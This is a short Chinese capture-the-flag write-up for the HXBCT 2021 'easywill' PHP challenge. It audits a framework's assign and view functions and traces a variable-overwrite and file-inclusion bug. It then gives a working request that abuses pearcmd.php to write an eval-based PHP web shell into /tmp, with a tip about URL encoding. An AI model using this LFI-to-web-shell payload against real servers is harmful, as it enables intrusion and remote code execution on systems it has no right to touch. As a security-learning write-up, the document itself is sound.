# [HXBCT_2021]easywill
这题 index 上给的代码很短,需要下载框架源码,自行修改审计。我没找到 2.1.5 的源码,下了个最新的。这题比赛的时候看了到 assign 函数还以为是个模板注入的题以为要爆破模板变量名就没去整了。还是对调试这种不太熟吧,下意识不想审计框架的函数调用
下面开始审计,修改 app/controller/IndexController.php 的内容与题目给出的一致
先跟踪 assign 函数
assign 只是做一个赋值的作用 传递给 view 当中
再看 view 函数
可以看到存在变量覆盖以及文件包含
开启 debug 可以看到函数调用栈,这里测试传参为 & name=cfile&value=1
写入 shell 到 tmp 目录,这里为什么包含 pearcmd.php 的原因详见:利用 pearcmd.php 从 LFI 到 getshell_feng 的博客 - CSDN 博客
/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+-c+/tmp/test2.php+-d+man_dir=<?eval($_POST[0]);?>+-s+
记得用 burp 浏览器直接打的话 <> 会被 url 编码,写马就不解析了
转载(没有源码,只能下下来了):